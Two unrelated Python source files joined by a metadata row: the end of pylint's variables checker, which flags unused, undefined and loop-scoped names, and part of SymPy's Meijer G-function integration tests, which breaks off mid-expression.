undefined loop variable %r', 'undefined-loop-variable', 'Used when an loop variable (i.e. defined by a for loop or \ a list comprehension or a generator expression) is used outside \ the loop.'), } class VariablesChecker(BaseChecker): """checks for * unused variables / imports * undefined variables * redefinition of variable from builtins or from an outer scope * use of variable before assignment * __all__ consistency """ __implements__ = IASTNGChecker name = 'variables' msgs = MSGS priority = -1 options = ( ("init-import", {'default': 0, 'type' : 'yn', 'metavar' : '<y_or_n>', 'help' : 'Tells whether we should check for unused import in \ __init__ files.'}), ("dummy-variables-rgx", {'default': ('_|dummy'), 'type' :'regexp', 'metavar' : '<regexp>', 'help' : 'A regular expression matching the beginning of \ the name of dummy variables (i.e. not used).'}), ("additional-builtins", {'default': (), 'type' : 'csv', 'metavar' : '<comma separated list>', 'help' : 'List of additional names supposed to be defined in \ builtins. Remember that you should avoid to define new builtins when possible.' }), ) def __init__(self, linter=None): BaseChecker.__init__(self, linter) self._to_consume = None self._checking_mod_attr = None def visit_module(self, node): """visit module : update consumption analysis variable checks globals doesn't overrides builtins """ self._to_consume = [(copy(node.locals), {}, 'module')] for name, stmts in node.locals.iteritems(): if is_builtin(name) and not is_inside_except(stmts[0]): # do not print Redefining builtin for additional builtins self.add_message('W0622', args=name, node=stmts[0]) @check_messages('W0611', 'W0614') def leave_module(self, node): """leave module: check globals """ assert len(self._to_consume) == 1 not_consumed = self._to_consume.pop()[0] # attempt to check for __all__ if defined if '__all__' in node.locals: assigned = node.igetattr('__all__').next() for elt in getattr(assigned, 'elts', ()): elt_name = elt.value # If elt is in not_consumed, remove it from not_consumed if elt_name in not_consumed: del not_consumed[elt_name] continue if elt_name not in node.locals: self.add_message('E0603', args=elt_name, node=elt) # don't check unused imports in __init__ files if not self.config.init_import and node.package: return for name, stmts in not_consumed.iteritems(): stmt = stmts[0] if isinstance(stmt, astng.Import): self.add_message('W0611', args=name, node=stmt) elif isinstance(stmt, astng.From) and stmt.modname != '__future__': if stmt.names[0][0] == '*': self.add_message('W0614', args=name, node=stmt) else: self.add_message('W0611', args=name, node=stmt) del self._to_consume def visit_class(self, node): """visit class: update consumption analysis variable """ self._to_consume.append((copy(node.locals), {}, 'class')) def leave_class(self, _): """leave class: update consumption analysis variable """ # do not check for not used locals here (no sense) self._to_consume.pop() def visit_lambda(self, node): """visit lambda: update consumption analysis variable """ self._to_consume.append((copy(node.locals), {}, 'lambda')) def leave_lambda(self, _): """leave lambda: update consumption analysis variable """ # do not check for not used locals here self._to_consume.pop() def visit_genexpr(self, node): """visit genexpr: update consumption analysis variable """ self._to_consume.append((copy(node.locals), {}, 'comprehension')) def leave_genexpr(self, _): """leave genexpr: update consumption analysis variable """ # do not check for not used locals here self._to_consume.pop() def visit_dictcomp(self, node): """visit dictcomp: update consumption analysis variable """ self._to_consume.append((copy(node.locals), {}, 'comprehension')) def leave_dictcomp(self, _): """leave dictcomp: update consumption analysis variable """ # do not check for not used locals here self._to_consume.pop() def visit_setcomp(self, node): """visit setcomp: update consumption analysis variable """ self._to_consume.append((copy(node.locals), {}, 'comprehension')) def leave_setcomp(self, _): """leave setcomp: update consumption analysis variable """ # do not check for not used locals here self._to_consume.pop() def visit_function(self, node): """visit function: update consumption analysis variable and check locals """ self._to_consume.append((copy(node.locals), {}, 'function')) if not set(('W0621', 'W0622')) & self.active_msgs: return globs = node.root().globals for name, stmt in node.items(): if is_inside_except(stmt): continue if name in globs and not isinstance(stmt, astng.Global): line = globs[name][0].lineno self.add_message('W0621', args=(name, line), node=stmt) elif is_builtin(name): # do not print Redefining builtin for additional builtins self.add_message('W0622', args=name, node=stmt) def leave_function(self, node): """leave function: check function's locals are consumed""" not_consumed = self._to_consume.pop()[0] if not set(('W0612', 'W0613')) & self.active_msgs: return # don't check arguments of function which are only raising an exception if is_error(node): return # don't check arguments of abstract methods or within an interface is_method = node.is_method() klass = node.parent.frame() if is_method and (klass.type == 'interface' or node.is_abstract()): return authorized_rgx = self.config.dummy_variables_rgx called_overridden = False argnames = node.argnames() for name, stmts in not_consumed.iteritems(): # ignore some special names specified by user configuration if authorized_rgx.match(name): continue # ignore names imported by the global statement # FIXME: should only ignore them if it's assigned latter stmt = stmts[0] if isinstance(stmt, astng.Global): continue # care about functions with unknown argument (builtins) if name in argnames: if is_method: # don't warn for the first argument of a (non static) method if node.type != 'staticmethod' and name == argnames[0]: continue # don't warn for argument of an overridden method if not called_overridden: overridden = overridden_method(klass, node.name) called_overridden = True if overridden is not None and name in overridden.argnames(): continue if node.name in PYMETHODS and node.name not in ('__init__', '__new__'): continue # don't check callback arguments XXX should be configurable if node.name.startswith('cb_') or node.name.endswith('_cb'): continue self.add_message('W0613', args=name, node=stmt) else: self.add_message('W0612', args=name, node=stmt) @check_messages('W0601', 'W0602', 'W0603', 'W0604', 'W0622') def visit_global(self, node): """check names imported exists in the global scope""" frame = node.frame() if isinstance(frame, astng.Module): self.add_message('W0604', node=node) return module = frame.root() default_message = True for name in node.names: try: assign_nodes = module.getattr(name) except astng.NotFoundError: # unassigned global, skip assign_nodes = [] for anode in assign_nodes: if anode.parent is None: # node returned for builtin attribute such as __file__, # __doc__, etc... continue if anode.frame() is frame: # same scope level assignment break else: # global but no assignment self.add_message('W0602', args=name, node=node) default_message = False if not assign_nodes: continue for anode in assign_nodes: if anode.parent is None: self.add_message('W0622', args=name, node=node) break if anode.frame() is module: # module level assignment break else: # global undefined at the module scope self.add_message('W0601', args=name, node=node) default_message = False if default_message: self.add_message('W0603', node=node) def _loopvar_name(self, node, name): # filter variables according to node's scope # XXX used to filter parents but don't remember why, and removing this # fixes a W0631 false positive reported by Paul Hachmann on 2008/12 on # python-projects (added to func_use_for_or_listcomp_var test) #astmts = [stmt for stmt in node.lookup(name)[1] # if hasattr(stmt, 'ass_type')] and # not stmt.statement().parent_of(node)] if 'W0631' not in self.active_msgs: return astmts = [stmt for stmt in node.lookup(name)[1] if hasattr(stmt, 'ass_type')] # filter variables according their respective scope test is_statement # and parent to avoid #74747. This is not a total fix, which would # introduce a mechanism similar to special attribute lookup in # modules. Also, in order to get correct inference in this case, the # scope lookup rules would need to be changed to return the initial # assignment (which does not exist in code per se) as well as any later # modifications. if not astmts or (astmts[0].is_statement or astmts[0].parent) \ and astmts[0].statement().parent_of(node): _astmts = [] else: _astmts = astmts[:1] for i, stmt in enumerate(astmts[1:]): if (astmts[i].statement().parent_of(stmt) and not in_for_else_branch(astmts[i].statement(), stmt)): continue _astmts.append(stmt) astmts = _astmts if len(astmts) == 1: ass = astmts[0].ass_type() if isinstance(ass, (astng.For, astng.Comprehension, astng.GenExpr)) \ and not ass.statement() is node.statement(): self.add_message('W0631', args=name, node=node) def visit_excepthandler(self, node): for name in get_all_elements(node.name): clobbering, args = clobber_in_except(name) if clobbering: self.add_message('W0623', args=args, node=name) def visit_assname(self, node): if isinstance(node.ass_type(), astng.AugAssign): self.visit_name(node) def visit_delname(self, node): self.visit_name(node) def visit_name(self, node): """check that a name is defined if the current scope and doesn't redefine a built-in """ stmt = node.statement() if stmt.fromlineno is None: # name node from a astng built from live code, skip assert not stmt.root().file.endswith('.py') return name = node.name frame = stmt.scope() # if the name node is used as a function default argument's value or as # a decorator, then start from the parent frame of the function instead # of the function frame - and thus open an inner class scope if (is_func_default(node) or is_func_decorator(node) or is_ancestor_name(frame, node)): start_index = len(self._to_consume) - 2 else: start_index = len(self._to_consume) - 1 # iterates through parent scopes, from the inner to the outer base_scope_type = self._to_consume[start_index][-1] for i in range(start_index, -1, -1): to_consume, consumed, scope_type = self._to_consume[i] # if the current scope is a class scope but it's not the inner # scope, ignore it. This prevents to access this scope instead of # the globals one in function members when there are some common # names. The only exception is when the starting scope is a # comprehension and its direct outer scope is a class if scope_type == 'class' and i != start_index and not ( base_scope_type == 'comprehension' and i == start_index-1): # XXX find a way to handle class scope in a smoother way continue # the name has already been consumed, only check it's not a loop # variable used outside the loop if name in consumed: self._loopvar_name(node, name) break # mark the name as consumed if it's defined in this scope # (i.e. no KeyError is raised by "to_consume[name]") try: consumed[name] = to_consume[name] except KeyError: continue # checks for use before assignment defnode = assign_parent(to_consume[name][0]) if defnode is not None: defstmt = defnode.statement() defframe = defstmt.frame() maybee0601 = True if not frame is defframe: maybee0601 = False elif defframe.parent is None: # we are at the module level, check the name is not # defined in builtins if name in defframe.scope_attrs or builtin_lookup(name)[1]: maybee0601 = False else: # we are in a local scope, check the name is not # defined in global or builtin scope if defframe.root().lookup(name)[1]: maybee0601 = False if (maybee0601 and stmt.fromlineno <= defstmt.fromlineno and not is_defined_before(node) and not are_exclusive(stmt, defstmt, ('NameError', 'Exception', 'BaseException'))): if defstmt is stmt and isinstance(node, (astng.DelName, astng.AssName)): self.add_message('E0602', args=name, node=node) elif self._to_consume[-1][-1] != 'lambda': # E0601 may *not* occurs in lambda scope self.add_message('E0601', args=name, node=node) if not isinstance(node, astng.AssName): # Aug AssName del to_consume[name] else: del consumed[name] # check it's not a loop variable used outside the loop self._loopvar_name(node, name) break else: # we have not found the name, if it isn't a builtin, that's an # undefined name ! if not (name in astng.Module.scope_attrs or is_builtin(name) or name in self.config.additional_builtins): self.add_message('E0602', args=name, node=node) @check_messages('E0611') def visit_import(self, node): """check modules attribute accesses""" for name, _ in node.names: parts = name.split('.') try: module = node.infer_name_module(parts[0]).next() except astng.ResolveError: continue self._check_module_attrs(node, module, parts[1:]) @check_messages('E0611') def visit_from(self, node): """check modules attribute accesses""" name_parts = node.modname.split('.') level = getattr(node, 'level', None) try: module = node.root().import_module(name_parts[0], level=level) except ASTNGBuildingException: return except Exception, exc: print 'Unhandled exception in VariablesChecker:', exc return module = self._check_module_attrs(node, module, name_parts[1:]) if not module: return for name, _ in node.names: if name == '*': continue self._check_module_attrs(node, module, name.split('.')) def _check_module_attrs(self, node, module, module_names): """check that module_names (list of string) are accessible through the given module if the latest access name corresponds to a module, return it """ assert isinstance(module, astng.Module), module while module_names: name = module_names.pop(0) if name == '__dict__': module = None break try: module = module.getattr(name)[0].infer().next() if module is astng.YES: return None except astng.NotFoundError: self.add_message('E0611', args=(name, module.name), node=node) return None except astng.InferenceError: return None if module_names: # FIXME: other message if name is not the latest part of # module_names ? modname = module and module.name or '__dict__' self.add_message('E0611', node=node, args=('.'.join(module_names), modname)) return None if isinstance(module, astng.Module): return module return None class VariablesChecker3k(VariablesChecker): '''Modified variables checker for 3k''' # listcomp have now also their scope def visit_listcomp(self, node): """visit dictcomp: update consumption analysis variable """ self._to_consume.append((copy(node.locals), {}, 'comprehension')) def leave_listcomp(self, _): """leave dictcomp: update consumption analysis variable """ # do not check for not used locals here self._to_consume.pop() if sys.version_info >= (3, 0): VariablesChecker = VariablesChecker3k def register(linter): """required method to auto register this checker""" linter.register_checker(VariablesChecker(linter))
tkaitchuck/nupic
external/common/lib/python2.6/site-packages/pylint/checkers/variables.py
Python
gpl-3.0
24,792
[ "VisIt" ]
2e339018b6b2936619f720ffe29aa24c81eb5600f51eeb3561dc98e851271f64
from sympy import (meijerg, I, S, integrate, Integral, oo, gamma, hyperexpand, exp, simplify, sqrt, pi, erf, sin, cos, exp_polar, polar_lift, polygamma, hyper, log, expand_func) from sympy.integrals.meijerint import (_rewrite_single, _rewrite1, meijerint_indefinite, _inflate_g, _create_lookup_table, meijerint_definite, meijerint_inversion) from sympy.utilities.randtest import (test_numerically, random_complex_number as randcplx) from sympy.abc import x, y, a, b, c, d, s, t, z def test_rewrite_single(): def t(expr, c, m): e = _rewrite_single(meijerg([a], [b], [c], [d], expr), x) assert e is not None assert isinstance(e[0][0][2], meijerg) assert e[0][0][2].argument.as_coeff_mul(x) == (c, (m,)) def tn(expr): assert _rewrite_single(meijerg([a], [b], [c], [d], expr), x) is None t(x, 1, x) t(x**2, 1, x**2) t(x**2 + y*x**2, y + 1, x**2) tn(x**2 + x) tn(x**y) def u(expr, x): from sympy import Add, exp, exp_polar r = _rewrite_single(expr, x) e = Add(*[res[0]*res[2] for res in r[0]]).replace( exp_polar, exp) # XXX Hack? assert test_numerically(e, expr, x) u(exp(-x)*sin(x), x) # The following has stopped working because hyperexpand changed slightly. # It is probably not worth fixing #u(exp(-x)*sin(x)*cos(x), x) # This one cannot be done numerically, since it comes out as a g-function # of argument 4*pi # NOTE This also tests a bug in inverse mellin transform (which used to # turn exp(4*pi*I*t) into a factor of exp(4*pi*I)**t instead of # exp_polar). #u(exp(x)*sin(x), x) assert _rewrite_single(exp(x)*sin(x), x) == \ ([(-sqrt(2)/(2*sqrt(pi)), 0, meijerg(((-S(1)/2, 0, S(1)/4, S(1)/2, S(3)/4), (1,)), ((), (-S(1)/2, 0)), 64*exp_polar(-4*I*pi)/x**4))], True) def test_rewrite1(): assert _rewrite1(x**3*meijerg([a], [b], [c], [d], x**2 + y*x**2)*5, x) == \ (5, x**3, [(1, 0, meijerg([a], [b], [c], [d], x**2*(y + 1)))], True) def test_meijerint_indefinite_numerically(): def t(fac, arg): g = meijerg([a], [b], [c], [d], arg)*fac subs = {a: randcplx()/10, b: randcplx()/10 + I, c: randcplx(), d: randcplx()} integral = meijerint_indefinite(g, x) assert integral is not None assert test_numerically(g.subs(subs), integral.diff(x).subs(subs), x) t(1, x) t(2, x) t(1, 2*x) t(1, x**2) t(5, x**S('3/2')) t(x**3, x) t(3*x**S('3/2'), 4*x**S('7/3')) def test_inflate(): subs = {a: randcplx()/10, b: randcplx()/10 + I, c: randcplx(), d: randcplx(), y: randcplx()/10} def t(a, b, arg, n): from sympy import Mul m1 = meijerg(a, b, arg) m2 = Mul(*_inflate_g(m1, n)) # NOTE: (the random number)**9 must still be on the principal sheet. # Thus make b&d small to create random numbers of small imaginary part. return test_numerically(m1.subs(subs), m2.subs(subs), x, b=0.1, d=-0.1) assert t([[a], [b]], [[c], [d]], x, 3) assert t([[a, y], [b]], [[c], [d]], x, 3) assert t([[a], [b]], [[c, y], [d]], 2*x**3, 3) def test_recursive(): from sympy import symbols, exp_polar, expand a, b, c = symbols('a b c', positive=True) e = integrate(exp(-(x - a)**2)*exp(-(x - b)**2), (x, 0, oo)) assert simplify(e.expand()) == ( sqrt(2)*sqrt(pi)*( (erf(sqrt(2)*(a + b)/2) + 1)*exp(-a**2/2 + a*b - b**2/2))/4) e = integrate(exp(-(x - a)**2)*exp(-(x - b)**2)*exp(c*x), (x, 0, oo)) assert simplify(e) == ( sqrt(2)*sqrt(pi)*(erf(sqrt(2)*(2*a + 2*b + c)/4) + 1)*exp(-a**2 - b**2 + (2*a + 2*b + c)**2/8)/4) assert simplify(integrate(exp(-(x - a - b - c)**2), (x, 0, oo))) == \ sqrt(pi)/2*(1 + erf(a + b + c)) assert simplify(integrate(exp(-(x + a + b + c)**2), (x, 0, oo))) == \ sqrt(pi)/2*(1 - erf(a + b + c)) def test_meijerint(): from sympy import symbols, expand, arg s, t, mu = symbols('s t mu', real=True) assert integrate(meijerg([], [], [0], [], s*t) *meijerg([], [], [mu/2], [-mu/2], t**2/4), (t, 0, oo)).is_Piecewise s = symbols('s', positive=True) assert integrate(x**s*meijerg([[], []], [[0], []], x), (x, 0, oo)) == \ gamma(s + 1) assert integrate(x**s*meijerg([[], []], [[0], []], x), (x, 0, oo), meijerg=True) == gamma(s + 1) assert isinstance(integrate(x**s*meijerg([[], []], [[0], []], x), (x, 0, oo), meijerg=False), Integral) assert meijerint_indefinite(exp(x), x) == exp(x) # TODO what simplifications should be done automatically? # This tests "extra case" for antecedents_1. a, b = symbols('a b', positive=True) assert simplify(meijerint_definite(x**a, x, 0, b)[0]) == \ b**(a + 1)/(a + 1) # This tests various conditions and expansions: meijerint_definite((x + 1)**3*exp(-x), x, 0, oo) == (16, True) # Again, how about simplifications? sigma, mu = symbols('sigma mu', positive=True) i, c = meijerint_definite(exp(-((x - mu)/(2*sigma))**2), x, 0, oo) assert simplify(i) == sqrt(pi)*sigma*(erf(mu/(2*sigma)) + 1) assert c is True i, _ = meijerint_definite(exp(-mu*x)*exp(sigma*x), x, 0, oo) # TODO it would be nice to test the condition assert simplify(i) == 1/(mu - sigma) # Test substitutions to change limits assert meijerint_definite(exp(x), x, -oo, 2) == (exp(2), True) assert expand(meijerint_definite(exp(x), x, 0, I)[0]) == exp(I) - 1 assert expand(meijerint_definite(exp(-x), x, 0, x)[0]) == \ 1 - exp(-exp(I*arg(x))*abs(x)) # Test -oo to oo assert meijerint_definite(exp(-x**2), x, -oo, oo) == (sqrt(pi), True) assert meijerint_definite(exp(-abs(x)), x, -oo, oo) == (2, True) assert meijerint_definite(exp(-(2*x - 3)**2), x, -oo, oo) == \ (sqrt(pi)/2, True) assert meijerint_definite(exp(-abs(2*x - 3)), x, -oo, oo) == (1, True) assert meijerint_definite(exp(-((x - mu)/sigma)**2/2)/sqrt(2*pi*sigma**2), x, -oo, oo) == (1, True) # Test one of the extra conditions for 2 g-functinos assert meijerint_definite(exp(-x)*sin(x), x, 0, oo) == (S(1)/2, True) # Test a bug def res(n): return (1/(1 + x**2)).diff(x, n).subs(x, 1)*(-1)**n for n in range(6): assert integrate(exp(-x)*sin(x)*x**n, (x, 0, oo), meijerg=True) == \ res(n) # This used to test trigexpand... now it is done by linear substitution assert simplify(integrate(exp(-x)*sin(x + a), (x, 0, oo), meijerg=True) ) == sqrt(2)*sin(a + pi/4)/2 # Test the condition 14 from prudnikov. # (This is besselj*besselj in disguise, to stop the product from being # recognised in the tables.) a, b, s = symbols('a b s') from sympy import And, re assert meijerint_definite(meijerg([], [], [a/2], [-a/2], x/4) *meijerg([], [], [b/2], [-b/2], x/4)*x**(s - 1), x, 0, oo) == \ (4*2**(2*s - 2)*gamma(-2*s + 1)*gamma(a/2 + b/2 + s) /(gamma(-a/2 + b/2 - s + 1)*gamma(a/2 - b/2 - s + 1) *gamma(a/2 + b/2 - s + 1)), And(0 < -2*re(4*s) + 8, 0 < re(a/2 + b/2 + s), re(2*s) < 1)) # test a bug assert integrate(sin(x**a)*sin(x**b), (x, 0, oo), meijerg=True) == \ Integral(sin(x**a)*sin(x**b), (x, 0, oo)) # test better hyperexpand assert integrate(exp(-x**2)*log(x), (x, 0, oo), meijerg=True) == \ (sqrt(pi)*polygamma(0, S(1)/2)/4).expand() # Test hyperexpand bug. from sympy import lowergamma n = symbols('n', integer=True) assert simplify(integrate(exp(-x)*x**n, x, meijerg=True)) == \ lowergamma(n + 1, x) # Test a bug with argument 1/x alpha = symbols('alpha', positive=True) assert meijerint_definite((2 - x)**alpha*sin(alpha/x), x, 0, 2) == \ (sqrt(pi)*alpha*gamma(alpha + 1)*meijerg(((), (alpha/2 + S(1)/2, alpha/2 + 1)), ((0, 0, S(1)/2), (-S(1)/2,)), alpha**S(2)/16)/4, True) # test a bug related to 3016 a, s = symbols('a s', positive=True) assert simplify(integrate(x**s*exp(-a*x**2), (x, -oo, oo))) == \ a**(-s/2 - S(1)/2)*((-1)**s + 1)*gamma(s/2 + S(1)/2)/2 def test_bessel(): from sympy import (besselj, Heaviside, besseli, polar_lift, exp_polar, powdenest) assert simplify(integrate(besselj(a, z)*besselj(b, z)/z, (z, 0, oo), meijerg=True, conds='none')) == \ 2*sin(pi*(a/2 - b/2))/(pi*(a - b)*(a + b)) assert simplify(integrate(besselj(a, z)*besselj(a, z)/z, (z, 0, oo), meijerg=True, conds='none')) == 1/(2*a) # TODO more orthogonality integrals assert simplify(integrate(sin(z*x)*(x**2 - 1)**(-(y + S(1)/2)), (x, 1, oo), meijerg=True, conds='none') *2/((z/2)**y*sqrt(pi)*gamma(S(1)/2 - y))) == \ besselj(y, z) # Werner Rosenheinrich # SOME INDEFINITE INTEGRALS OF BESSEL FUNCTIONS assert integrate(x*besselj(0, x), x, meijerg=True) == x*besselj(1, x) assert integrate(x*besseli(0, x), x, meijerg=True) == x*besseli(1, x) # TODO can do higher powers, but come out as high order ... should they be # reduced to order 0, 1? assert integrate(besselj(1, x), x, meijerg=True) == -besselj(0, x) assert integrate(besselj(1, x)**2/x, x, meijerg=True) == \ -(besselj(0, x)**2 + besselj(1, x)**2)/2 # TODO more besseli when tables are extended or recursive mellin works assert integrate(besselj(0, x)**2/x**2, x, meijerg=True) == \ -2*x*besselj(0, x)**2 - 2*x*besselj(1, x)**2 \ + 2*besselj(0, x)*besselj(1, x) - besselj(0, x)**2/x assert integrate(besselj(0, x)*besselj(1, x), x, meijerg=True) == \ -besselj(0, x)**2/2 assert integrate(x**2*besselj(0, x)*besselj(1, x), x, meijerg=True) == \ x**2*besselj(1, x)**2/2 assert integrate(besselj(0, x)*besselj(1, x)/x, x, meijerg=True) == \ (x*besselj(0, x)**2 + x*besselj(1, x)**2 - besselj(0, x)*besselj(1, x)) # TODO how does besselj(0, a*x)*besselj(0, b*x) work? # TODO how does besselj(0, x)**2*besselj(1, x)**2 work? # TODO sin(x)*besselj(0, x) etc come out a mess # TODO can x*log(x)*besselj(0, x) be done? # TODO how does besselj(1, x)*besselj(0, x+a) work? # TODO more indefinite integrals when struve functions etc are implemented # test a substitution assert integrate(besselj(1, x**2)*x, x, meijerg=True) == \ -besselj(0, x**2)/2 def test_inversion(): from sympy import piecewise_fold, besselj, sqrt, I, sin, cos, Heaviside def inv(f): return piecewise_fold(meijerint_inversion(f, s, t)) assert inv(1/(s**2 + 1)) == sin(t)*Heaviside(t) assert inv(s/(s**2 + 1)) == cos(t)*Heaviside(t) assert inv(exp(-s)/s) == Heaviside(t - 1) assert inv(1/sqrt(1 + s**2)) == besselj(0, t)*Heaviside(t) # Test some antcedents checking. assert meijerint_inversion(sqrt(s)/sqrt(1 + s**2), s, t) is None assert inv(exp(s**2)) is None assert meijerint_inversion(exp(-s**2), s, t) is None def test_lookup_table(): from random import uniform, randrange from sympy import Add, unpolarify, exp_polar, exp from sympy.integrals.meijerint import z as z_dummy table = {} _create_lookup_table(table) for _, l in sorted(table.items()): for formula, terms, cond, hint in sorted(l): subs = {} for a in list(formula.free_symbols) + [z_dummy]: if hasattr(a, 'properties') and a.properties: # these Wilds match positive integers subs[a] = randrange(1, 10) else: subs[a] = uniform(1.5, 2.0) if not isinstance(terms, list): terms = terms(subs) # First test that hyperexpand can do this. expanded = [hyperexpand(g) for (_, g) in terms] assert all(x.is_Piecewise or not x.has(meijerg) for x in expanded) # Now test that the meijer g-function is indeed as advertised. expanded = Add(*[f*x for (f, x) in terms]) a, b = formula.n(subs=subs), expanded.n(subs=subs) r = min(abs(a), abs(b)) if r < 1: assert abs(a - b).n() <= 1e-10 else: assert (abs(a - b)/r).n() <= 1e-10 def test_branch_bug(): from sympy import powdenest, lowergamma # TODO combsimp cannot prove that the factor is unity assert powdenest(integrate(erf(x**3), x, meijerg=True).diff(x), polar=True) == 2*erf(x**3)*gamma(S(2)/3)/3/gamma(S(5)/3) assert integrate(erf(x**3), x, meijerg=True) == \ 2*x*erf(x**3)*gamma(S(2)/3)/(3*gamma(S(5)/3)) \ - 2*gamma(S(2)/3)*lowergamma(S(2)/3, x**6)/(3*sqrt(pi)*gamma(S(5)/3)) def test_linear_subs(): from sympy import besselj assert integrate(sin(x - 1), x, meijerg=True) == -cos(1 - x) assert integrate(besselj(1, x - 1), x, meijerg=True) == -besselj(0, 1 - x) def test_probability(): # various integrals from probability theory from sympy.abc import x, y, z from sympy import symbols, Symbol, Abs, expand_mul, combsimp, powsimp, sin mu1, mu2 = symbols('mu1 mu2', real=True, finite=True, bounded=True) sigma1, sigma2 = symbols('sigma1 sigma2', real=True, finite=True, bounded=True, positive=True) rate = Symbol('lambda', real=True, positive=True, bounded=True) def normal(x, mu, sigma): return 1/sqrt(2*pi*sigma**2)*exp(-(x - mu)**2/2/sigma**2) def exponential(x, rate): return rate*exp(-rate*x) assert integrate(normal(x, mu1, sigma1), (x, -oo, oo), meijerg=True) == 1 assert integrate(x*normal(x, mu1, sigma1), (x, -oo, oo), meijerg=True) == \ mu1 assert integrate(x**2*normal(x, mu1, sigma1), (x, -oo, oo), meijerg=True) \ == mu1**2 + sigma1**2 assert integrate(x**3*normal(x, mu1, sigma1), (x, -oo, oo), meijerg=True) \ == mu1**3 + 3*mu1*sigma1**2 assert integrate(normal(x, mu1, sigma1)*normal(y, mu2, sigma2), (x, -oo, oo), (y, -oo, oo), meijerg=True) == 1 assert integrate(x*normal(x, mu1, sigma1)*normal(y, mu2, sigma2), (x, -oo, oo), (y, -oo, oo), meijerg=True) == mu1 assert integrate(y*normal(x, mu1, sigma1)*normal(y, mu2, sigma2), (x, -oo, oo), (y, -oo, oo), meijerg=True) == mu2 assert integrate(x*y*normal(x, mu1, sigma1)*normal(y, mu2, sigma2), (x, -oo, oo), (y, -oo, oo), meijerg=True) == mu1*mu2 assert integrate((x + y + 1)*normal(x, mu1, sigma1)*normal(y, mu2, sigma2), (x, -oo, oo), (y, -oo, oo), meijerg=True) == 1 + mu1 + mu2 assert integrate((x + y - 1)*normal(x, mu1, sigma1)*normal(y, mu2, sigma2), (x, -oo, oo), (y, -oo, oo), meijerg=True) == \ -1 + mu1 + mu2 i = integrate(x**2*normal(x, mu1, sigma1)*normal(y, mu2, sigma2), (x, -oo, oo), (y, -oo, oo), meijerg=True) assert not i.has(Abs) assert simplify(i) == mu1**2 + sigma1**2 assert integrate(y**2*normal(x, mu1, sigma1)*normal(y, mu2, sigma2), (x, -oo, oo), (y, -oo, oo), meijerg=True) == \ sigma2**2 + mu2**2 assert integrate(exponential(x, rate), (x, 0, oo), meijerg=True) == 1 assert integrate(x*exponential(x, rate), (x, 0, oo), meijerg=True) == \ 1/rate assert integrate(x**2*exponential(x, rate), (x, 0, oo), meijerg=True) == \ 2/rate**2 def E(expr): res1 = integrate(expr*exponential(x, rate)*normal(y, mu1, sigma1), (x, 0, oo), (y, -oo, oo), meijerg=True) res2 = integrate(expr*exponential(x, rate)*normal(y, mu1, sigma1), (y, -oo, oo), (x, 0, oo), meijerg=True) assert expand_mul(res1) == expand_mul(res2) return res1 assert E(1) == 1 assert E(x*y) == mu1/rate assert E(x*y**2) == mu1**2/rate + sigma1**2/rate ans = sigma1**2 + 1/rate**2 assert simplify(E((x + y + 1)**2) - E(x + y + 1)**2) == ans assert simplify(E((x + y - 1)**2) - E(x + y - 1)**2) == ans assert simplify(E((x + y)**2) - E(x + y)**2) == ans # Beta' distribution alpha, beta = symbols('alpha beta', positive=True) betadist = x**(alpha - 1)*(1 + x)**(-alpha - beta)*gamma(alpha + beta) \ /gamma(alpha)/gamma(beta) assert integrate(betadist, (x, 0, oo), meijerg=True) == 1 i = integrate(x*betadist, (x, 0, oo), meijerg=True, conds='separate') assert (combsimp(i[0]), i[1]) == (alpha/(beta - 1), 1 < beta) j = integrate(x**2*betadist, (x, 0, oo), meijerg=True, conds='separate') assert j[1] == (1 < beta - 1) assert combsimp(j[0] - i[0]**2) == (alpha + beta - 1)*alpha \ /(beta - 2)/(beta - 1)**2 # Beta distribution # NOTE: this is evaluated using antiderivatives. It also tests that # meijerint_indefinite returns the simplest possible answer. a, b = symbols('a b', positive=True) betadist = x**(a - 1)*(-x + 1)**(b - 1)*gamma(a + b)/(gamma(a)*gamma(b)) assert simplify(integrate(betadist, (x, 0, 1), meijerg=True)) == 1 assert simplify(integrate(x*betadist, (x, 0, 1), meijerg=True)) == \ a/(a + b) assert simplify(integrate(x**2*betadist, (x, 0, 1), meijerg=True)) == \ a*(a + 1)/(a + b)/(a + b + 1) assert simplify(integrate(x**y*betadist, (x, 0, 1), meijerg=True)) == \ gamma(a + b)*gamma(a + y)/gamma(a)/gamma(a + b + y) # Chi distribution k = Symbol('k', integer=True, positive=True) chi = 2**(1 - k/2)*x**(k - 1)*exp(-x**2/2)/gamma(k/2) assert powsimp(integrate(chi, (x, 0, oo), meijerg=True)) == 1 assert simplify(integrate(x*chi, (x, 0, oo), meijerg=True)) == \ sqrt(2)*gamma((k + 1)/2)/gamma(k/2) assert simplify(integrate(x**2*chi, (x, 0, oo), meijerg=True)) == k # Chi^2 distribution chisquared = 2**(-k/2)/gamma(k/2)*x**(k/2 - 1)*exp(-x/2) assert powsimp(integrate(chisquared, (x, 0, oo), meijerg=True)) == 1 assert simplify(integrate(x*chisquared, (x, 0, oo), meijerg=True)) == k assert simplify(integrate(x**2*chisquared, (x, 0, oo), meijerg=True)) == \ k*(k + 2) assert combsimp(integrate(((x - k)/sqrt(2*k))**3*chisquared, (x, 0, oo), meijerg=True)) == 2*sqrt(2)/sqrt(k) # Dagum distribution a, b, p = symbols('a b p', positive=True) # XXX (x/b)**a does not work dagum = a*p/x*(x/b)**(a*p)/(1 + x**a/b**a)**(p + 1) assert simplify(integrate(dagum, (x, 0, oo), meijerg=True)) == 1 # XXX conditions are a mess arg = x*dagum assert simplify(integrate(arg, (x, 0, oo), meijerg=True, conds='none') ) == a*b*gamma(1 - 1/a)*gamma(p + 1 + 1/a)/( (a*p + 1)*gamma(p)) assert simplify(integrate(x*arg, (x, 0, oo), meijerg=True, conds='none') ) == a*b**2*gamma(1 - 2/a)*gamma(p + 1 + 2/a)/( (a*p + 2)*gamma(p)) # F-distribution d1, d2 = symbols('d1 d2', positive=True) f = sqrt(((d1*x)**d1 * d2**d2)/(d1*x + d2)**(d1 + d2))/x \ /gamma(d1/2)/gamma(d2/2)*gamma((d1 + d2)/2) assert simplify(integrate(f, (x, 0, oo), meijerg=True)) == 1 # TODO conditions are a mess assert simplify(integrate(x*f, (x, 0, oo), meijerg=True, conds='none') ) == d2/(d2 - 2) assert simplify(integrate(x**2*f, (x, 0, oo), meijerg=True, conds='none') ) == d2**2*(d1 + 2)/d1/(d2 - 4)/(d2 - 2) # TODO gamma, rayleigh # inverse gaussian lamda, mu = symbols('lamda mu', positive=True) dist = sqrt(lamda/2/pi)*x**(-S(3)/2)*exp(-lamda*(x - mu)**2/x/2/mu**2) mysimp = lambda expr: simplify(expr.rewrite(exp)) assert mysimp(integrate(dist, 